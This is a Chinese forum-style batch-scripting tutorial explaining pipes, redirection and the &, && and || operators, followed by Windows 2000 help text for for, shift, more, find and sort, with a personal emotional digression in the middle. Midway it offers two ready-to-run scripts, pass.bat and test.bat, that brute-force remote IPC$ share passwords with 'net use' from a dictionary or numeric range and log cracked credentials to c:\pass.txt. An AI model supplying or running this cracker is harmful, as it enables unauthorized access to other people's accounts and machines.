11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。

看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：

```
help > a.txt
more a.txt
del a.txt
```

这里利用另一管道命令>生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原

文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：

```
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
```

依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：

```
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
```

看到这里，你得到了多少信息？

1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；

2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。

<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。
>&，将一个句柄的输出写入到另一个句柄的输入中。
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。

下面介绍组合命令：&、&&、||

组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单—既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行—因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些—当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。

刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来—只有它会陪着我在这不敢

开灯的漆黑夜里—一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？

忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳—这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！

14、&

这可以说是最简单的一个组合命令了，它的作用是用来连接**n**个**DOS**命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：

```
copy a.txt b.txt /y & del a.txt
```

其实这句和**move a.txt b.txt**的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里**&**两边的命令是有执行顺序的，从前往后执行。

15、&&

切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与**&**命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：

```
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
```

如果远程主机存在**user.mdb**，则**copy**到本地**e:\backup\www**，如果不存在当然就不执行**copy**了。这句对搞网管的朋友是否有点用呢？呵呵。

其实它和下面这句的作用是一样的：

```
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
```

至于你喜欢用哪个就随便了，我没办法判断**dir**和**if**两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。

你是否还记得"有些命令是不能同时执行的"？你是否相信这句话？当然得相信，不信就给你出道题：把**C**盘和**D**盘的文件和文件夹列出到**a.txt**文件中。你将如何来搞定这道题？有朋友说，这还不是很**easy**的问题吗？同时执行两个**dir**，然后把得到的结果**>**到**a.txt**里就**ok**了嘛，看例十八：

```
dir c:\ && dir d:\ > a.txt
```

仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后**a.txt**里只有**D**盘的信息！为什么？就因为这里**&&**命令和**>**命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令**&&**的优先级没有管道命令**>**的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：**dir c:**和**dir d:\ > a.txt**，而并不是如你想的这两部分：**dir c:\ && dir d:**和**> a.txt**。要使用组合命

令&&达到题目的要求，必须得这么写：

```
dir c:\ > a.txt && dir d:\ >> a.txt
```

这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。

当然这里还可以利用&命令（自己想一下道理哦）：

```
dir c:\ > a.txt & dir d:\ >> a.txt
```

16、||

这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：

```
@echo off
dir s*.exe || exit
```

其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：

```
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
```

这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗
口，echo就白写了。

给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处—不会出错！OK，请看例二十一和例二十二：

例二十一：

```
@echo off
dir a.ttt /a & dir a.txt || exit
```

例二十二：

```
@echo off
dir a.ttt /a && dir a.txt || exit
```

警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！

有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，

当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程："简明批处理教程"，虽然说的比较全面，但看起来很不过瘾。在对**for**等命令介绍时就一个**for /? > a.txt & start a.txt**完事了（当然这一点上我不能说人家什么，毕竟我连**for /?**都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如**for**、**set**等**DOS**命令的问题，可以从**DOS**的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的—他们之间的关系太复杂了！

将下列代码存为**bat**文件

1、如果用字典破解：**pass.bat** 字典文件路径及名称 主机 用户名
2、如果用数字破解：**pass.bat** 起始数 步长 结束数 主机 用户名

密码破解出来之后，存放于**c:\pass.txt**文件里面。
将下列代码存为**pass.bat**文件

```
@echo off
echo ———————————————————— >>c:\pass.txt
echo ———————————————————— >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt

echo 破解结果： >>c:\pass.txt

if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
```

将下列代码存为**test.bat**

```
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2
:answer0
echo 远程主机： "%1" >>c:\pass.txt
echo 用 户： "%3" >>c:\pass.txt
echo 密 码： %2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
```

For

对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 **for** 命令。
要在批处理程序中使用 **for** 命令，请使用以下语法：

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 **for**，请使用以下语法：

for %variable in (set) do command [command-parameters]

参数

%%variable 或 **%variable**

代表可替换的参数。**for** 命令使用在 **set** 中指定的每个文本字符串替换 **%%variable**（或 **%variable**），直到此命令（在 **commandparameters**中指定）处理所有的文件为止。使用 **%% variable** 在批处理程序中执行 **for** 命令。使用 **% variable** 通过命令提示符执行 **for** 命令。变量名区分大小写。

(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command
指定要在指定的 **set** 所包含的每个文件上执行的命令。

command-parameters
指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。
如果启用了命令扩展（**Windows 2000** 中的默认设置)，将支持 **for** 命令的其他形式。

For 命令的其他形式

如果启用了命令扩展，将支持如下 **for** 命令的其他格式：

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 **set** 包含通配符（***** 和 **?**），则指定与目录名匹配，而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树**[drive:]path**，在树的每个目录中执行 **for** 语句。如果在 **/R** 后没有指定目录，则假定为当前目录。如果 **set** 只是一个句号 **(.)** 字符，则只列举目录树。

迭代

for /L [%% | %]variable in (start，step，end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样，**(1,1,5)** 将生成序列 **1 2 3 4 5**，而 **(5,-1,1)** 将生成序列 **(5 4 3 2 1)**。

文件解析

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]

或者，如果出现 **usebackq** 选项：

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。

过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。

跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。

关键字是：

关键字	说明
eol=c	指定行尾注释字符（只一个字符）
skip=n	指定在文件的开头跳过的行数。
delims=xxx	指定定界符集合。这将替换空格和制表符的默认分隔符集。
tokens=x,y,m-n	指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围，指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号，则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。
usebackq	指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。

变量替换

此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）：

变量（使用修改程序）	说明
%~I	展开删除了周围的任何引号 (") 的 %I
%~fI	将 %I 展开到完全合格的路径名
%~dI	只将 %I 展开到驱动器号
%~pI	只将 %I 展开到路径
%~nI	只将 %I 展开到文件名
%~xI	只将 %I 展开到文件扩展名
%~sI	展开路径以只包含短名称
%~aI	将 %I 展开到文件的文件属性
%~tI	将 %I 展开到文件的日期/时间
%~zI	将 %I 展开到文件大小
%~$PATH:I	搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。

修改程序可以合并以获得复杂的结果：

变量（使用合并的修改程序）	说明
%~dpI	只将 %I 展开到驱动器号和路径
%~nxI	只将 %I 展开到文件名和扩展名

%~fsI　　将 %I 展开到只包含短名称的完整路径名

%~dp$PATH:I　　在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径

%~ftzaI　　将 %I 扩展到与 dir 相似的输出行

注意

在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。

使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆。

Shift

更改批处理文件中可替换参数的位置。

shift 启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如，

SHIFT /2

将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。

筛选器命令

筛选器命令可以帮助您排序、查看和选择部分命令输出结果。

通过筛选器命令传递信息

筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令：

more 命令每次显示一屏文件内容或命令输出。
find 命令在文件和命令输出中搜索指定字符。
sort 命令按字母顺序排列文件和命令输出。

要将输入从文件发送到筛选器命令，请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。

使用 more 命令来控制屏幕显示

---

more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容：

more < list.txt

信息显示一屏后，会出现字"More"。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。

如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。

如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示：

tree c:\ | more

tree 命令的第一屏输出被显示，后跟词"More"。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。

使用 find 命令搜索文本

---

find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击"相关主题"列表中的 find。

要将 find 当作筛选器命令使用，请包含小于符号 (<) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件

Trade.txt 中所有的"Pacific Rim"字符串：
find "Pacific Rim" < trade.txt

要保存 find 命令的输出而不是显示输出，请使用大于号 (>) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的

"Pacific Rim"字符串，并将结果保存在 Nwtrade.txt 文件中：
find "Pacific Rim" < trade.txt > nwtrade.txt

对文本文件排序

sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果：

sort < list.txt

在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort 命令的输出而不是显示输出，请在命令中包含大于号 (>) 和文件名。例如，可以使用以下命令对 List.txt 文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中：

sort < list.txt > alphlist.txt

要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序：

find "Jones" maillst.txt | sort

在键入该命令时，Windows 2000 按字母顺序列出在其中出现"Jones"的行。

带重定向符的合并命令

可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含"LOG"字符串的文件名:

dir /b | find "LOG" > loglist.txt

Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串"Log"的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表（如，A.log、Logdat.svd 和 Mylog.bat）。

要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含"Log"字符串的文件名，并且每次显示一屏：

dir c:\/s /b | find "LOG" | more

因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串"Log"的文件名。more 命令每次一屏地显示 find 命令选择的文件名。

More

每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。

```
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
```

参数

[drive:][path] filename	指定要显示的文件。
command name	指定将显示其输出的命令。
/c	显示页面前清除屏幕。
/p	扩展换页符。
/s	将多个空白行更改为一个空白行。
/tn	将制表位更改为 n 个空格
+n	显示由 n 指定的行开始的第一个文件。
files	指定要显示的文件列表。用空格分隔文件名。

More 子命令

以下命令在 more 提示 (– More –) 下接受。

关键字	操作
space	显示下一页。
ENTER	显示下一行。
F	显示下一个文件。
q	退出。
?	显示可用命令。
=	显示行号。
P n	显示以下 n 行。
S n	跳过下面 n 行。

Find

在一个文件或多个文件中搜索指定的文本字符串。
当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。

```
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
```

参数

/v	显示未包含指定字符串的所有行。
/c	只显示包含指定字符串的行数。
/n	将文件行号置于每行开头。
/I	指定搜索不区分大小写。
"string"	指定要搜索的字符组。必须将 string 的文本包括在引号中。
[drive:][path] filename	指定要在其中搜索指定字符串的文件的位置和名称。

Sort

读取输入、排序数据并将结果写到屏幕、文件和其他设备上。

sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]
[path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]
[path2]] [/o [drive3:][path3]filename3]

参数

/r 颠倒排序顺序，即从 **Z** 到 **A** 排序，然后从 **9** 到 **0** 排序。

/+n 指定字符位置号 **n**，**sort** 在此处开始每次比较。例如，**/+3** 表示每次比较在每行的第三个字符开始。
少于 **n** 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。

/m kilobytes 指定用于排序的主内存数量，按千字节 **(KB)** 计。使用的内存最小值总是 **160 KB**。如果指定了内存大小，
则无论有多少主内存可用，指定的确切数量（但至少 **160 KB**）的内存将用于排序。
如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 **90**%，否则为主内存的 **45**%。
默认设置通常会产生最佳的性能。

/l locale 替代由系统默认区域设置定义的字符排序顺序；即在安装 **Windows 2000** 时选择的语言和"国家（地区）"。
目前，默认区域设置唯一的备用选项就是**"C"**区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。

/rec characters 指定记录或输入文件的行中的最多字符数（默认值为 **4096**，最大值为 **65535**）。

[drive1:][path1]filename1 指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。

/t [drive2:][path2] 指定保留 **sort** 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。

/o [drive3:][path3]filename3 指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。
指定输出文件比将同一文件作为标准输出重定向速度快!